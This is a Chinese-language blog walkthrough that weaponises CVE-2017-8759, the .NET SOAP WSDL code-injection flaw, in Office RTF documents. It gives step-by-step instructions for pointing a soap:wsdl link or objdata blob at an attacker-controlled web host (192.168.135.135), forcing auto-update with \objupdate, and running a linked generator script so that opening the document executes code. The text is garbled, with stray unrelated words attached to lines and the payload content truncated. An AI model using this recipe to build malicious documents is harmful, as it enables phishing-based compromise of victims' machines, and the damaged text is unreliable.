FireEye最近檢測到一個惡意的Microsoft Office RTF文檔,利用CVE-2017-8759(一種SOAP WSDL解析器代碼注入漏洞)。此漏洞容許在解析SOAP WSDL定義內容期間注入任意代碼。
html
漏洞名稱:.NET Framework遠程代碼執行漏洞
漏洞編號:CVE-2017-8759
漏洞影響:.NET系列產品的遠程代碼執行(RCE)並進一步控制系統
利用場景:遠程釣魚、社會工程
影響版本:如下.NET版本
Microsoft .NET Framework 4.6.2
Microsoft .NET Framework 4.6.1
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 4.7
Microsoft .NET Framework 4.6
Microsoft .NET Framework 4.5.2
Microsoft .NET Framework 3.5
Microsoft .NET Framework 2.0 SP2
影響產品:Office(word excel)Edge IE WinOS Skype Lync Sharepointpython
PrintClientProxy方法中的WSDL解析器模塊中存在代碼注入漏洞。若是提供的包含CRLF序列的數據,則IsValidUrl不會執行正確的驗證。這就形成了攻擊者注入和執行任意代碼。git
這裏不詳細介紹了(由於我也不懂),能夠參考火眼和360的分析。github
新建一個圖片文件,名字爲office.png(其餘格式也行),內容爲:web
<definitions |
而後放在web目錄。
根據樣本文件,發現是在word文檔中添加一個SOAP標記。
格式爲soap:wsdl=http://192.168.135.135/office/office.png
本次以樣本爲例,而後修改其中的地址。sass
分別用樣本和本身的web地址生成特hex格式的地址,而後將樣本中的地址更換爲本身的地址便可。(注意替換的長度需保持一致)測試
樣本文件最重要的是倒數第三行(看起來是空白),而後能夠將上面無用的內容所有刪除,只留下最後三行。url
而後就是打開該word文檔,就能夠看到計算器彈出。但實現的過程有點問題,就是必須點更新連接纔會觸發(即便將添加objupdate仍是不行)。spa
參考https://github.com/vysec/CVE-2017-8759
新建o.png,內容爲:excel
word.db內容:
新建一個rtf文檔,隨意插入一個對象。例如http://192.168.135.135/office/o.png (這是爲了下面替換objdata內容)
用記事本打開,將\object\objautlink\rsltpict
修改成\object\objautlink\objupdate\rsltpict
打開blob.bin文件
將其中的地址修改成http://192.168.135.135/office/o.png
複製原來的地址,儘可能多複製點空格。
而後生成新的hex地址
而後用生成的地址替換blob.bin中的地址
而後將blob.bin中的內容替換word文檔的objdata內容。
而後打開word文檔,就會有神奇的事情發生。
惡意軟件將被放置在C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\OfficeUpdte-KB[6個隨機數字].exe
以上均在虛擬機上測試。沒有使用樣本中的left.jpg。最後結果確實如火眼所說的那樣生成了OfficeUpdte-KB******.exe文件。在win10(真機)上測試的時候還生成了http1001924168413541350office0office4png.pdb、http1001924168413541350office0office4png.dll和Logo.cs三個文件。
這裏方法一沒有直接執行的緣由我也不太清楚,可是用方法二插入office.png,也是不會直接執行的。若是方法一和二中過程替換一下,效果也是同樣的。
下載腳本https://github.com/fupinglee/MyPython/blob/master/exploit/CVE-2017-8759/CVE-2017-8759_exploit_rtf.py
使用方法:python CVE-2017-8759_exploit_rtf.py http://192.168.135.135/office/office.png
會在當前目錄生成文件cve-2017-8759.rtf,打開便可。
根據CVE-2017-0199的腳本改寫而來,僅僅保留並修改了生成文件的代碼。
[1].https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
[2].http://mp.weixin.qq.com/s/_rfRtj6da1nowI4qMmkLaA
[3].https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/